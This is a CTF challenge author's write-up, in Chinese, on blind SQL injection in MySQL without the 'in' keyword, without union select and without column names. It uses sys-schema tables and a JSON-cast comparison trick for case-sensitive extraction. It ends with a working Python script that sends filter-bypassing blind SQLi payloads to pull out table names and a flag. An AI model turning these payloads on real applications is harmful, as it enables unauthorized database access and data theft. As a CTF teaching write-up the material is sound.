前言
这道题是参考这篇文章无需“in”的SQL盲注 出的,补掉了正则回溯和查看别人payload的bug
无in注表名
之前常用的 innodb_table_stats
和 innodb_index_stats
无法使用了
外国大佬在sys数据库中找到了很多替代品,参考文章:
Alternatives to Extract Tables and Columns from MySQL and MariaDB
无union select和字段名注数据
常用的无字段名注入都依赖于union select,而题中不允许union和select同时出现,这里就需要用文中提到的方法
如果表中只有一列可以 SUBSTR((SELECT * FROM table),1,1)='x'
而题中有两列,需要将查询语句与相同数量的列进行比较,再配合 <=
进行盲注
区分大小写注数据
mysql默认是不区分大小写的,因为我忘记往flag中加入大写字符了,再加上i春秋的环境是动态flag,貌似默认都是小写flag,emmm这样的话题目就变的很简单了。直接正常盲注即可。
预期解是文章中提到的使用 SELECT CONCAT("A", CAST(0 AS JSON))
来另其返回二进制字符串。不过你并不知道需要注入的字符串中有什么,是否大于0,因为mysql比较字符串大小是按位比较的,因此我们需要找到一个ascii字符中比较大的字符也就是 ~
,这样的话 f~
始终大于 flag{xx}
, e~
始终小于 flag{xxx}
这样以来我们只用把需要注入的字符按照ascii大小排序,小的在前面,逐位去跑即可。
最后就是i春秋的flag中有-
,-
比数字更小,写脚本需要注意一下。
exp:
# -*- coding:utf8 -*-
import requests
import string
url = "http://127.0.0.1/index.php"
def exp1():
str1 = ('0123456789'+string.ascii_letters+string.punctuation).replace("'","").replace('"','').replace('\\','')
flag = ''
select = 'select group_concat(table_name) from sys.x$schema_flattened_keys'
for j in range(1,40):
for i in str1:
paylaod = "1/**/&&/**/(select substr(({}),{},1))='{}'".format(select, j, i)
#print(paylaod)
data = {
'id': paylaod,
}
r = requests.post(url,data=data)
if 'Nu1L' in r.text:
flag += i
print(flag)
break
def exp2():
str1 = ('-0123456789'+string.ascii_uppercase+string.ascii_lowercase+string.punctuation).replace("'","").replace('"','').replace('\\','')
flag = ''
flag_table_name = 'f1ag_1s_h3r3_hhhhh'
for j in range(1,39):
for i in str1:
i = flag+i
paylaod = "1&&((select 1,concat('{}~',CAST('0' as json))) < (select * from {} limit 1))".format(i,flag_table_name)
#print(paylaod)
data = {
'id': paylaod,
}
r = requests.post(url,data=data)
if 'Nu1L' not in r.text:
flag=i
print(flag)
break
if __name__ == '__main__':
exp1()
exp2()